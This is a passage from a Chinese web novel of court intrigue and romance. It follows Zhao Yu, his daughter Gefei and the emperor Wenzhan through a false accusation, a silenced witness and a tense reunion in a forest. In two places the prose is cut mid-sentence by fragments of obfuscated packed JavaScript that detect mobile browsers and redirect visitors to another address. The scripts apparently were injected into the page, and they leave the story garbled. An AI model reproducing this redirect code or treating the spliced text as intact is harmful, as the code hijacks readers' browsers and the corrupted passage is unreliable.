谁想到一到祠堂,他们三人就看见四个被动过刑、被打的有些支离破碎的粗壮汉子,指着一位头戴兜帽的人,正在吼叫,——“就是他,就是他!当时给我们钱让我们杀人的就是他!!身材修长,人长的消瘦,绝对就是他!” 赵毓走过去,问他们四人,“你们没看错,真的是他?” “没错!就是他!”那四个人将赵毓也当成了顺天府的官差,“大人,您可要为我们做主。我们当时不想做这种伤天害理的买卖,可是赵毓说,要是我们不杀那几个人,他就杀我们。我们也是没办法!” 赵毓又问,“你们看清楚了,就是眼前这个人,他亲口对你们说,要你们杀人?” “没错!就是他!当时他就在我们面前,红嘴白牙,说的真切。” 姚肃一看眼前这个情景,想要说什么,赵毓摆了摆手。 他们都知道,那四个人指着的人根本就不是’他’,而是’她’。 雍京城一些权贵家的闺秀出门都戴这种兜帽。一般闺秀头上都梳着发髻,别着簪子,在兜帽的掩盖下一般会被误认为个头不矮,再加上兜帽严实,外人看不清楚披风中的人是男是女,可以省去很多麻烦。而这种兜帽可以让穿着的人的脸前面当着一层细纱,外人看不见她们,但是她们能看见路。 一般老百姓不知道这种的装束是闺秀,会误以为是下雨,人们把披风裹得紧一些挡风雨用的。 姚肃问,“这位是?” 赵毓,“我女儿。这个留园早晚是她的,今天本来让她出来也见见世面,没想到就被指认成了买|凶|杀|人的罪人。我女儿一直在深闺,轻易不出门,不知道这几位英雄好汉怎么就能红嘴白牙的说见过她,真是奇怪。” 指认就是一场闹剧。 姚肃也没有法子再扣着赵毓,所幸他们好歹有活口,可以留着慢慢打,慢慢审。 赵毓对申掌柜说,“买几口棺材。外面那几位客死异乡,也不用专门送回原籍,就是把尸身都收拾干净,在城外找个风水不错的地方,葬了就好。” 申掌柜,“啊?东家,您还真好心。他们可都是鲁辛的人。鲁辛背信弃义,连累家人横死,末了反过来还倒打一耙,说东家您下的手,我们反过来还得给他家人收尸。这传出来,咱们显得也太窝囊了。要我说,就当咱们清理门户,别管了。” 赵毓反问,“你说清理门户,那么我问你,这些人是你以家法杀的?” 申掌柜,“当然不是!我们都是清白买卖人,怎么能杀人?” 赵毓,“既然不是你以家法杀人,怎么说是清理门户?我们已经算清理好门户了,就是把鲁辛逐出留园,他家人遭劫难,绝对不是我们清理门户的事情,不要混为一谈。” 申掌柜,“可是,……” 赵毓,“如果我们不管,传出去,人家不会说我们门户严,而会说外人随意杀我们的人,我们没有反抗能力,反而自我宽慰说自己清理门户,这样的名头,好听吗?” 申掌柜,“哦,明白了。东家,我这就去做。” “还有,……”赵毓看了看周围,外面的雨水已经从廊檐潲进来了,地上顷刻湿了一大片,不过好在这里只有他、格非,还有申掌柜三个人,于是,他压低声音问,“我不是让你们派人盯着鲁辛吗?我知道一定有人会杀他灭口,怎么还是着了道?” 申掌柜一脸苦,“当时来的人实在太多,我们的人挡不住。咱们也怕自己的人再折了,所以看着也救不了人就先保命。” 赵毓,“他们雇了这么多刺客?” “哪里有刺客,都是流民!”申掌柜,“拿着菜刀见人就坎,就东西就抢。兴许鲁辛的仇家认为杀他也不值得动用真正的刺客吧,找一窝流民拿着菜刀就能把他们都剁了。” 赵毓,“鲁辛怎么没死?” 申掌柜,“他一见这阵势,老子娘老婆孩子都不要了,直接逃命去了。说实话,要是他这一大家子给他挡着,他也活不了。” 赵毓想了想,“我记得你曾经告诉我,你问过鲁辛,他当时被人套住反水是因为他想做你这个位子,咱不给他,于是他不甘心才做出吃里扒外的勾当。” 申掌柜点头,“没错!” 赵毓,“不对。你再找人给我盯死了鲁辛,他爹娘老婆孩子都不要了,绝对有问题。” 申掌柜,“啊,什么问题?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728892|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵毓,“女人。” 申掌柜恍然大悟,点了点头。 说完,赵毓看了一眼格非,“哦,申掌柜,忘记说了,这是少东家。” 申掌柜看着眼前这位,——捂得真严实,是男是女都看不出来,不过他也知道,赵毓只有一个女儿。 此时,赵格非将兜帽摘下,申掌柜这才看清楚。 这位少东家是个半大的丫头,模样好看,跟赵毓很像,清清秀秀的,就是年纪小,应该不到十五,全身素净,脑袋顶上梳了两个头发卷子,戴着南珠串成的珠花环,价值连城。 “申掌柜。” “少东家。” 赵毓,“今天就算认识了,以后有什么事,找不到我,你可以找她。” 申掌柜连忙答应,心中却说,——东家没儿子,真把闺女当儿子养了。以后把这丫头的心养野了,嫁不出去怎么得了? 北镇抚司梁十一回宫复命。 皇帝在濠濮间想见他。 这里树木葱茏,山水清幽,于太液池一角架上一条汉白玉的长桥,尽头就是濠濮间想。 一座飞檐斗拱的水榭凉亭,虽然依旧是雕梁画栋,精巧细致,却有一种悠然世外,清淡无为的境地。 庙堂即是山林,山林即是庙堂。 皇帝正在写字。 他身边伺候笔墨的人就是司礼监掌印,柳丛容。 梁十一是武人,他不懂写字,但是他听人说过,皇帝的字极好,比名满天下的左相大人的字还要好,却极难临摹。因为大郑的皇子自幼习武,当今天子善于用剑,剑道与书法合二为一,内在的力道是一般文人难以企及的,所以同样的笔划,圣上写出来就是银钩玉唾、鸾回凤舞,其他人临摹只能是笔墨涂鸦。 不知道今天圣上怎么会有这么好的兴致,在这里铺开雪浪洒金签,一笔一划的抄写唐诗? 看样子是做成字帖,也不知道做什么用? 传世? “陛下。”梁十一叩完首,起身,“臣回宫复命。” 皇帝停了笔,将笔放在笔架上,清淡的问了一句,“留园的鲁辛家人被杀一事,同石慎可有关系?” 皇帝声音特别轻,他一向说话都是这样,似乎高声一点,就能惊动九重天外的人。 “并无确凿证据。” “嗯,知道了,你还查到什么?” “石家父子相疑。” 梁十一从怀中取出写好的一本秘奏折双手递给柳丛容,而柳丛容将其捧过去放在书案上,皇帝并未打开。 “随侯石寰有一份名单,上面全是与他交好的军中将领和他们背后的一些见不得人的把柄。现在随侯想要用这份名单上的人来保命,而随侯世子似乎也想拿到这份名单,但是,具臣查到的事情,世子似乎并不想保住他父亲而想要用那份名单来保自己、或者是他的母亲与弟弟。父子相疑至此,……” 石寰将石慎当成继承人,而不是儿子。 这种事情,文湛自己太熟悉了。 所谓继承人,只要是他的骨血,只要资质好,只要符合要求,谁都可以,并没有父子之间那种不可磨灭、不可替代的感情存在。 皇帝忽然问梁十一,“石寰在北疆纳过一位新宠,生有稚子,如今应该满两岁了。” “陛下的意思是,……” 皇帝说话的时候,情绪几乎没有起伏,“随侯此次进京,只不过是被询问前延绥镇守将军何晋弃城失地的事情,至于他的事情需要三法司来论定。此时说他有罪,为时尚早。不过这位随侯心思重了一些,如果留着他的新宠稚子在外,也许,他会弃雍京的妻儿与不顾。你去北境带那位如夫人和幼子回来,有什么事,一家人在一起总归是件好事情。” “是。” 梁十一听着,心中竟然没来由的打了个突。 皇帝这是想要把随侯石寰全部的底牌都掀出来,一股脑的囚在雍京城。到时候,随侯无罪也就罢了,如果一旦有罪,就是全族倾覆,子孙再无翻身之日。 “陛下,那个名单……” “先不用管它。” “……” 此时,柳丛容端了新冲泡的茶水过来,皇帝拿起来,手指捏着茶盏的盖,“那些藩镇多年经营,树大根深,谁背后都有一些见不得人的勾当,这些不稀奇。稀奇的是,石家父子想要怎么使用这份名单。你们盯着也就可以了。” “是。” 皇帝挥了挥手,梁十一连忙跪下,继而告退了。 周围安静。 柳丛容看着铺开的雪浪金笺,“主子,还写吗?” 文湛看了看,“把这些收拾一下,先给承怡送过去,让他填书房。你去拿本《离骚》过来,他好像最近喜欢上了《楚辞》。” 35. 35 35 崔珩最讨厌的两种人: 一、太监。 二、孩子。 既然赵毓回来了,那么赵格非和尹徵就被崔珩送到赵毓家中,而尹徵也是多日未曾回尹府,他一到赵毓家中,随即就被尹府的老管家接走了。 崔珩在赵毓家中吃了夜饭。 赵格非不喝酒,吃饱了就不陪他们两个,径自去书房看看书,消消食,练练字。文湛让柳丛容送了字帖过来,赵格非正想着好好临摹一番。 “我最近要出趟远门。”崔珩拿了酒杯,赵毓给他倒了酒,“你一个人在这里成吗?” “哪有什么不成的,我都到了雍京了,你还有什么不放心的。” “也是,你都到这里了,有什么事,只要你开口,你家那个小狼崽子一定尽心竭力。” “别总是叫他小狼崽子。” “怎么,你心疼?” “我怕你御前改不了口。” “那也是我自己的事。” 赵毓知道他又倔又拧,也就不跟他争辩,转口问了一句,“你去哪里,走多久?方便告诉我吗?” “也没啥。”崔珩说,“就是那个弃城丢地的何晋,他儿子找到了,就在云中。我得过去一趟,把他儿子押回雍京。” “你千里迢迢的,就为了把人家无辜的儿子弄回来受死?” “没办法。何晋罪犯滔天,这是灭族的大罪,他儿子是逃不脱的。” “说起云中我到想起来,尹桂宝儿在这里呆的够久了,他得回云中了。我最近事情太多,危险也多,我怕顾不上他。绮罗就这么一个弟弟,他们老尹家就这么一条根苗,要是损在雍京,我是真对不起他们了。” “我这趟顺道给他送回去?” “不用。你王命在身,别管这种闲事了。” 崔珩吃饱回侯府,赵毓则拐道去了一趟尹府。 “管家,给老爷写信,让他派人过来,接大少爷回云中。” “啊?为什么啊,姐夫!” 尹桂宝儿自从到了雍京,虽然日子过的挺不顺的,但是爹娘不在眼前,天老大他老二,他过的非常自在。虽然姐夫不定时管教一番,但是不管怎么说,他不是爹娘,不会很严苛。尹徵可不想现在就回老家,回到那种被人严厉管教的岁月当中去。 “不为什么。你该回家了,管家,写信!” “姑爷,怎么给老爷写?” 赵毓想了想,就说,“给老爷写,就说大少爷在雍京被我拐带着吃喝嫖赌,不出七天,云中过来接大少爷的人准到雍京。” “是,姑爷。我明白了。” “姐夫,你坑我!!!!~~~~~~~~~~~~~~” 次日,暴雨已经停止。 淅淅沥沥的暮春雨水剪不断,在雨水的滋润下,赵毓这个小院中的桂花与蔷薇似乎顿时就繁茂粗壮了起来。 赵毓在院子中给赵格非烤鹿肉。 上次他让黄枞菖派人送回来的鹿肉崔珩烤过一回,剩下的全部用酒封了起来,也给他送了过来,今天还能再烤一顿。 “亲爹,要说侯爷也是妙人。”赵格非拣了一块烤好的鹿肉,仔仔细细的吃,“他给我舅舅的屋子三面都是书,三餐准备好饭食送进去,每天也不让我舅出门。我舅实在没事干,也只能看书了,别说,据说在宁淮侯府这几天,我舅已经看完一整本的《春秋》了。外祖父要是也有这个心,我看舅舅的功课也不至于沦落到这个地步。” “你舅不用出将入相,他得缓缓,要是他命好,也许他儿子可以成个气候。” “为什么?” “你看看咱们家,你爷爷的爷爷是当年的大司马,你爷爷的亲爹在你外祖父之前名震西疆十六国,你爷爷那更不要说了,死在他手中的凤子龙孙比永定河的鱼都多。这些人都是牛人,哪个拿出来都是跺一跺脚,土地颤三颤的人物,结果呢,最后赵家门里就剩咱们仨了。” “除了咱爷俩,还有谁?” “你奶奶。” “哦……”赵格非喝的是赵毓专门从楚蔷生府邸顺过来的桃花酿,甜,不上头,“托亲爹您的福,今年清明您才想起来告诉我,我还有这么一位长辈。不熟悉,总是忘记。” “那位老太太心思重,你爷爷走后她熬了这么多年,很不容易的,她不见你是我的错,别怪她。” “我怪长辈做什么。不过,亲爹,昨天六叔让柳芽叔送来字帖,您看到了吗?” “嗯。我看那字写的还成,你没事就多比照着写写,反正你爱写字。” “六叔的字是真好,好的极点,就是没办法临摹。”赵格非又捻起来一块鹿肉,“一般来说,武人不习字,文人不习剑,那些号称文武双全的人物又大多只是学了两边的皮毛。人间似六叔这样书法剑道臻入化境的人实在旷古罕见,他老人家的字帖只能摆着香炉供奉着,等待着传世,似我这等凡人实在无法消受。” 赵毓听着就笑,“那好,下次我让他别写这么好,换成适合小孩子写的笔法来给你做字帖。” “亲爹,我有件事不太明白。左相大人的字金贵,可是坊间还能有几幅真迹,六叔的字这么好,完全可以传世,怎么坊间就不见一副真迹?我这么爱字帖,甚至都不知道六叔的字是这样的,别人就更不要说了。” 赵毓,“上次在冉庄的时候你不是问过我,你六叔他是不是在雍京城做大官,我说不是,因为他没那么好的命数?” 赵格非点头,“嗯,记得。” 赵毓,“他的命是从一落地,不,是从娘胎里就被注定了,他这一辈子只能有皇帝这么一个身份。 他文章写的好,成不了翰林;他字写的好,也做不了书法大家;他画的也不错,但是永远不能寄情山水,成为名家。他的出生,他的性情,他的能力与才华,一切的一切全部是为了这个身份准备的,凡是同这个身份不符合的地方就要被砍去。” “天下不需要一个极富性格,才华横溢,诗酒趁年华的主人,坐在微音殿那把椅子上的人,活人的特征越少越好,最好就是一尊玉雕的圣像,这就像他的字一样,适合在檀香后面,被供奉着等待着传世。” 赵毓想起来吉王叔也说过,就算是我大郑历代祖宗显灵了,估计也就是文湛现在这个模样。 赵格非从来没有想过这些,她一直以为,那个人,只是人间权力的极致。 “六叔,……,这么惨?” “这还不算惨。还有更惨的。”赵毓自己也拿了一块鹿肉慢慢吃,“暗杀,密谋,反叛随时都会发生。如果行差踏差一步,他自己还有他在意的人也许就无法活着看到次日雍京寅时的天空。” “如果是这样的话,六叔他为什么不反抗,他那么厉害,可以选择另外一条路。” “真是善良的姑娘。”赵毓看着她笑,“世间的人都有退路,唯独他没有,如果这条路走不通,他就……” “东家!” 申掌柜从大门窜进来,赵毓格非他们两个隔着桂花与蔷薇都能看到他那个猴急的样子。 “抓住了!我们抓住了!” 赵毓让申掌柜别着急,给他倒了一碗茶水,让他先镇镇神。 “鲁辛果然不对劲,我们换了三拨人等了两天,连夜里都没闲着,终于把这小子又给救了。他们都逃到直隶的地界了,还是差点被宰。我就吓唬他,说要是他再不老实,我就把绑在树上让仇家直接过来剁,这次他全招了。 不知道谁给他送了一个西疆那边买来的女奴,长的真挺美的,还说给他生儿子,结果这小子就着了道。他说自己的老婆生小丫头的时候伤了,再也生不出孩子,他们老鲁家又不能绝后,于是就跟这个女奴不清不楚,最后见那个女的怀上了,眼见着这边肚子大了,这才下了决心反水。 他以为一切都能随心意,没想到一是没搬倒东家您,二是,那边一看他没用了,就直接杀人灭口。 他原本想着自己老子娘老婆孩子都死了,他口又紧,人家能放过他一马,让他带着那个西疆的小婆子找个没人的地方生儿子过日子去。谁知道人家不但不放过他,连那个大着肚子的小婆子都不放过。这次那个小婆子也被他连累的死了,他这才老实了。要是咱们一开始就对他逼供,没准也能问出这些话来。” 赵毓,“私设刑堂?老申,你不是清白商人吗,这种事也敢做?再说,重刑之下的话,你敢相信?反正我不敢信。” 申掌柜,“东家,您说,那个跟您对着干的人是谁,这么狠?” 赵毓,“鲁辛当然知道是谁,把他送到顺天府去,让他自己去跟姚肃说,到底是谁要这么折腾咱们,这么下死手灭口。” 申掌柜,“啊,咱们费了老鼻子劲,就这么直接给顺天府送过去?咱们不好再问问?” 赵毓,“咱们现在都是老百姓,不是西北军的兵,现在咱们就得按照老百姓的路子走。咱们都归顺天府管,出了人命大的官司他们不管,你管?我就问你,如果你的真问出个大人物来,你不怕再被灭口?” 申掌柜一下子哑了。 那位申掌柜在这里连块鹿肉都没有敢吃,直接跑了。 他怕那个鲁辛再说话,让留园家里的人听到什么不应该听到的事情,知道了什么不应该知道的人而沾染上见血的麻烦。 雍京北城这边的大人物比南城的那些富户老主顾不一样,真不一样!平常人就是对着猫狗鸡鸭都不忍心伤害,更不要说对人了。这边的人心狠到极点,真的是拿着他们这些庶民百姓不当人。不说别的,这次的事情,他们就算灭口都不愿意多出几两银子请好一些的刺客,而是直接让饿疯了的流民用菜刀剁人,把人都剁散了,就只有一点,就比西疆边陲的白毛风还让人发瘆,真让人心寒。 傍晚,雨水似乎大了一些,院子中有落下的蔷薇花瓣与桂花的残骸。 “亲爹,您说,世间的男子是不是都如那个鲁账房一般鬼迷心窍,爹娘妻儿都比不了一个不知道在哪儿的儿子金贵?” “世间男子如何,我没见全,我不知道。我让你见识这件事就是为了告诉你,这个世间是如此的寂寞如雪,人则是纷纷杂杂,林子大了什么鸟都有,人上一百形形色|色。你以后要执掌留园,不能仅仅靠着在闺阁学的那些人情世故,在书房看的那些书来为人处世。许多人,许多事,都和我们原先想的不一样,也和我们做出的事不一样。人家未必是错的,我们未必就是对的。前半夜想想别人,后半夜想想自己,看得多,想得多,有些事情就明白了。” “亲爹,您不想再要一个儿子?” “这不是我想不想的事情。”赵毓吃饱了,最后倒了一口酒,“你六叔和我,……” 本来他想说,你六叔和我又生不出儿子来,但是这句话过于轻佻邪私,对文湛不好,他就闭口没说。 赵格非,“……” 云中过来接尹徵的人到了雍京。 来的人原先是尹明扬的参将,现在是家臣,杨进。他们家父亲就跟着尹明扬出生入死,一直忠心耿耿,所以杨进在尹家地位极高,尹徵见到他可不敢造次。 赵毓带着赵格非去了一趟尹府,他们看着尹徵欲哭无泪的收拾行囊。 “桂宝儿,老老实实回家。等过年的时候,我带着花骨朵儿回云中看你去,乖。” 赵格非专门去尹徵爱吃的几家点心铺包了一些点心给尹徵带着路上吃。 “还是花骨朵儿知道心疼人,姐夫,你就是条白眼狼。我对你这么好,你一脚就把我踢开。” 听着尹徵的哭诉,赵毓有些哭笑不得。 幸好杨进明白事理,“大少爷,姑爷也是为了你好。老爷夫人在家中很想念大少爷,您不想赶紧回家见见爹娘?” 他这么一说,尹徵也挺想家的。 于是,他让随从抱着赵格非给他的点心,乖乖的骑马上路了。 随侯府邸。 石慎让母亲侯夫人和妻子世子夫人收拾一下行装。 “现在也到初夏了,雍京城内有些闷热,柔止,你随母亲到城外昭林庵住上几日。母亲,你们出城的时候顺便也将弟弟带回雍阳书院,他在雍京侯府太过于受宠,整日不受约束,再这样下去,功课就彻底荒废了。” 世子夫人王柔止出身名门,她自然明白世子那些不为人知的癖好,床笫之间索然无味,内宅向外抬死人她怎么可能一无所知? 只是对于这种事情她管不了,也不想管。 她同石慎的夫妻关系只想维护到相敬如冰就好,以后只要她能成为随侯夫人,皇命敕封诰命,凤冠霞帔在手,别的小事她不屑过问。 只是,今天,世子的神情有些不对。 她却依旧没有置喙的余地。 侯夫人吩咐她收拾一下,世子夫人命随嫁的丫鬟将她的衣裙收拾一下,多带了一些,在外人没有看见的时候,她甚至将出嫁的时候,她娘给她的檀木八宝琉璃盒子都戴上了。这里面是她压箱底的嫁妆。 一切准备停当,却万万没有想到,他们的车马在出雍京西门的时候被拦截下来。 “石侯夫人。”立于西门的是一位禁卫军的五品参将,“随侯石寰已从北疆换防,不日回京。请夫人回府,安心等待侯爷回京即可。” 随侯夫人有些慌,只是他们回侯府的时候,石慎却没有她想象中的慌乱。 “意料之中,只是,……”石慎也是叹了口气,“没想到,来的如此之快。母亲,既然如此,那就也没有别的办法了。我要去一趟羡云飞。” “可是你怎么出城?” “我有办法。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728893|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯夫人心惊胆颤的,“你说,要不要去吉王府坐坐?问问王妃咱们该怎么办?上次吉王爷请那位喝酒,你和恺儿都去了,气氛不是挺好的吗?” 石慎摇头,“不用了。王妃毕竟已经嫁人。她有了儿子,心里想的都是儿子与丈夫。对于赵毓这件事情,她知道的事情远比已经告诉我们的要多的多。我也是最近才悟出来。” 侯夫人,“已经晚了吗?” 石慎,“不晚。其实这些几天的功夫也无所谓晚还是不晚,因为我们之间的冤孽十多年前就已经结下。母亲,那个名叫赵毓的人,曾经是皇长子亲王,也曾经在西北军中做过参将,至于他还有什么身份我就不得而知了。只是,我可以确信,从我们在四大皆空再见面的那一刻开始,他就不会让我活。” 有间茶叶铺的薛掌柜天不亮就自己跑到赵毓家中。 “快,你让我一直盯着,今早有人过来报信,那个姓石的兔崽子出城了。” “哪个方向?” “走的是雍京北门。” 赵毓在薛掌柜家中看过关于石慎他们所能找到的一切东西,其中有一张图,标识的就是随侯在雍京北部的五个庄园。 “老薛,我让你派人去看看,随侯在雍京北部的五个庄园,哪个修的最精致,最好看?” “羡云飞!”薛掌柜一口咬定,“那是随侯老婆的陪嫁。据说,这个羡云飞是石慎外祖父当年倾尽所有,按照一百多年前沈大司马的园林建造的。你知道沈时孑大司马吗?他的府邸后来成为祈王府,现在也封着呢!据说王府里面就是神仙住的地方,那叫一个凤阁龙楼连霄汉,玉树琼枝作烟萝,……,诶,你斜着眼睛看着我作甚?” 赵毓,“我看你说的热闹,还以为你住过祈王府呢!” 薛掌柜,“我没那个富贵命住祈王府。乖乖,能住那种地方,上辈子肯定积了大德了。这些,我也是听人说的。对了,你让我看随侯庄园哪个修的精致,这是为什么?” 赵毓,“石慎这个人自视极高,他有什么重要的东西,肯定放在极其华贵的地方,一定不会放在粗陋的地方。” 薛掌柜,“还有这个讲究?” 赵毓点头,“是。” 薛掌柜,“他们这些公卿家族出来的公子哥就是不一样,不像咱俩,饿了困了,马棚里面一倒,也能吃得下,睡的香!” 赵毓,“成了,知道这个就好办。我自己去一趟这个羡云飞,看看这个石慎到底有什么猫腻。” 终究是出趟门,崔珩也不在雍京了,赵毓想着赵格非一个人在家不放心,于是,他就把赵格非放在楚相府了。 楚蔷生也是今非昔比了,多年宰辅做下来,积威极重。 他的宰相府像是用黄金与紫檀木造出来的木匣子,尹徵如果在这里一定欲哭无泪,想要干嚎一却定不敢,赵格非不一样。她只要有书看,能写字,大概上自己待上一段时间完全是自得自乐的状态。 楚相府的书斋是雍京清流们梦想之地。 站在这里,就连被赵格非猜测为文盲的赵毓都惊艳不已。 “这是唐代的《金刚经》,从敦煌取出,原来你这里也有一本。南梁的《般若经》,这是我在大内也没有见过的珍品。哦,还有这个,《烟草谱》《农政提法》再加上海外来的《泰西水法》,这些都是农书与水利,果然是宰相,同那些只会舞文弄墨的清贵翰林文人们就是不一样。” 楚蔷生手中一把树根供春壶,脱尽人巧,鬼斧神工,倒出来的则是普洱,滋香浓醇,五味并存。 “我在猎宫见到裴檀了。” “见到他?” “他还向我问你的事情。” “他问你?”楚蔷生给自己也到了一盅茶,“我前天还在微音殿见到他,他有什么事情不会直接问我?他问你什么?” 赵毓喝了一口茶,真香。 普洱特别考究冲茶的技巧,楚蔷生对于修身养性这方面也是高手。 见赵毓没说,楚蔷生也没有再说裴檀的事情,“你这次有什么事,和陛下说一声。” 赵毓,“说什么?” 楚蔷生,“崔侯说你这次回京和之前不一样,心野了。” 羡云飞在雍京北部,快马一天的路程。 赵毓清晨从北门出雍京,路上不用赶路,也不会走走停停,大约黄昏的时候就可以到达羡云飞所在的绮镇。 路并不难走,只是需要穿过一大片密林。 赵毓放马进密林,大约一刻钟,他感觉周围有些不对劲。 安静。 静到极点。 似乎风都是静止的。 赵毓摸出腰间牛皮袋中的弩l箭,套上细链,静悄悄的看着周围,忽然,他听见马匹的声音,那是很好的马蹄铁踩踏在树根草丛中的声音。 有人! 他怕是石慎,于是下意识直接用弩l箭对准那边就射l了出去! 飞箭上的细链哗啦啦的直响。 只是,当他看清楚那边马上之人之后,他硬是扯开弩l箭连接的细链,割破了手指才算把飞箭扯偏了,直接穿透旁边的一棵小杨树,钉死在暴露于草地上的枯树根之上。 “你,……,怎么在这儿?” 对面骏马之上,是一身劲装的文湛! 皇帝也不说话,纵马过来,一把直接把赵毓从马上给揪了下来。 他们两个人在草地上翻滚了两下,随后,文湛就将赵毓压在草地上。 “承怡,我问过你几遍,也告诉过你,以后,有什么事先对我说。你可曾听进耳朵中?” “现在,你有什么事情要跟我说吗?” 赵毓,“我不是没听到,可是我也说过,这是我的私事。” “父皇留下的基业我没有挥霍,一丝一毫都没有挥霍。给我一点信任,成吗?” “既然你说这是你的私事,那我们就按你的私事来处理。我不会动用王权,我只是我自己,这样可以了吗?你可以让我陪着你了吗?” “抛开天下神器,社稷江山这些东西,只说我这个人!我除了是皇帝之外,终究还是你男人吧!” “你……”赵毓忽然感觉自己脸皮充血,“你乱说什么?” 文湛扯开他的衣领,直接在赵毓的脖颈处狠狠咬了一口! 牙齿所到之处,血点一丝一丝向外渗出。 再次的亲吻,都带着血的腥甜。 文湛像是真的生气了,亲吻异常粗|暴,一直到赵毓感觉疼的受不了硬是将脸扭到一边,这个冷硬的亲吻才算结束。 “我不想再次在微音殿上心神不定,等到一个你生死不明的消息,最后看到的却是你满身是血重伤昏迷。 我的这点心情,就算你无法感同身受,能不能稍微体谅一下?” 36. 36 36 赵毓,“如果,……” 文湛,“闭嘴!” 赵毓,“因为我,你真出什么事,……” 文湛,“闭嘴!” 赵毓,“我就是罪人。” 文湛,“闭嘴!” 赵毓,“我手中有一柄龙骑禁军射|过来的长箭,就在我的书房,这么多年一刻不离身。三尺长,黑漆的木杆,白色凌翅鸟的尾羽,黄金箭头,那是先帝秘密处决王公贵戚才会动用的黄金羽。” 文湛的手慢慢松开。 赵毓,“当时,这柄黄金羽就擦着我的耳朵飞了过去。” 文湛看着他。 赵毓,“先帝说我不长记性,只有死了人,才能让我记清楚。有两件事情我绝对不能去做。一,不可以再碰你;二,不可以离开雍京。结果,这两件事情我都做了。” 这是皇帝第一次听说的事情。 当年他们几乎可以在一起了,他甚至将自己的生辰玉佩的黑色丝带上绞进红色的丝线,象征着大婚的喜庆与吉祥,却无法送出去。 赵毓反悔了。 他反悔的那么决然惨烈,直到现在,即使这么多年后,文湛还依旧记得那段时间的感受。 这次,是赵毓看着他。 “无法感同身受?” “当年你重伤昏迷,整整七天。我当时想着,如果你真醒不过来,我也只能殉葬了。我们这么多年的爱恨情仇,也终究可以尘埃落定,也许,这也是一种圆满。” “我可以为你去死,你却不可以这样做。” “你是国之重宝,这个世上没有人比你更重要。” 周围异常安静。 风停树止。 他们看着彼此。 文湛,“元熙三年,元熙五年,元熙六年,我亲眼见到过三次刺杀,那些我没有亲眼见过的就更不用说了。元熙十一年,那次是景王勾结禁卫军统领谋逆,我被围在南苑,当时是我自己杀出重围,才有机会终于活了下来。 承怡,我没有你想的那么无能。 不过既然你这样担心,那就把我隐匿身份陪你做你的事情当成一种试炼好了。 我知道自己肩上扛着什么,只是,这些之外,我终究是个人。 你不能要求一个活着的男人,安静的坐在微音殿上,看着自己爱的人身犯险境而无动于衷。只要他还有一口气在,这种事他做不出来。” 楚相府,后花园。 楚蔷生是文人,也是名仕,他的相府花园不同于皇家园林,也同周熙那些豪富的私宅不同,没有那些飞檐斗拱,雕梁画栋,也不种奇花异草,褪去了所有的富贵气,只剩下清雅。 亭前一株细竹,回廊旁的一片青草,几幅随意泼墨的字,还有一池清澈的水,几条锦鲤在其中游动。 花园中有石桌石椅。 周围是侍立的侍女们。 “在这里住的可还习惯?” 楚蔷生从来没有帮人招待过孩子,尤其还是一个进退规矩的女儿。 他知道赵毓曾经将赵格非拜托给宁淮侯崔珩,只不过崔侯与他们好歹是至亲骨肉,好坏无人责备,如今换了自己,其实好坏,也无人责备。 “很习惯,多谢楚大人。”赵格非笑着回答。 “吃的也还习惯?” 赵毓临走之前给楚蔷生留下一份菜单,这是他自己给赵格非写的十天的菜品,早中晚,每天还有一顿甜汤与宵夜。看似有些无理取闹,其实对于楚蔷生来说,已经算是非常体贴。 作为左相,楚蔷生并没有时间与心思来应对一个小女孩子的生活起居,如果只是吩咐下去’好好招待’,这样笼统的命令下面人也无从着手,同样,如果他让人去一一问询赵格非的口味要求,似乎人家小姑娘也不好说的太多,有些容易互相误解。 赵毓的菜单刚好解决了这个麻烦,楚蔷生只要把菜单给了老闵,让他按照上面详实的要求去做就好,完全不用再想其他有的没的。 “非常习惯。”赵格非都笑了,“我的脸已经圆了一圈了。” “好,那就好。” 其实楚蔷生也不知道赵格非的脸究竟是不是圆了一圈,他一直也没有多仔细看人家姑娘,直到现在,他才认真看了赵格非一眼。 女儿像爹。 赵格非有三分像赵毓。 当年楚蔷生第一次在毓正宫见赵毓,他也是这个年纪。 赵格非见这里有一整套描画着金色枯枝山水的黑釉瓷茶具,各种器皿形态各异,一看就是大师耗尽心血的东西,她不禁有些手痒。 “楚大人,如果您不嫌弃,我为您冲盏茶。” 文人都喜欢茗战。 楚蔷生垂下袖子,让了一下,“请,随意。”随即,坐在石椅上。 有侍女捧过来几块饼茶,赵格非选了武夷茶,随后用小火将茶饼烤一下,手拿银刀将其破开,研成粉末,并且倒入茶盏中。此时,她用细长的瓶煮水,这水是雍京西山的珍珠泉水。 待水沸腾,赵格非将水倒入执壶之内,一手拿着执壶向茶盏中倒水,一手拿着紫竹雕刻的茶筅开始搅拌,顿时,乳白色的泡沫浮动了起来。 蔡襄在茶录中说:“汤上盏四分则止,视其面色鲜白、着盏无水痕者为绝佳。建安斗试以水痕先者为负,耐久者为胜。” 此时无人同赵格非斗茶,楚蔷生只是看着,已知道赵格非茶艺考究。 “楚大人,不知道您的口味,这是我按照父亲喜爱的口味为您冲的茶。” 赵格非说完,递过一盏茶,清澈的茶汤放在黑釉瓷中,别具美感。楚蔷生拿过抿了一口,的确是赵毓的口味。 “好,味道好,姿势也好。”楚蔷生说,“这是你父亲教的?” “他?”赵格非温和的笑,“我爹他不会冲茶,他只会品。” 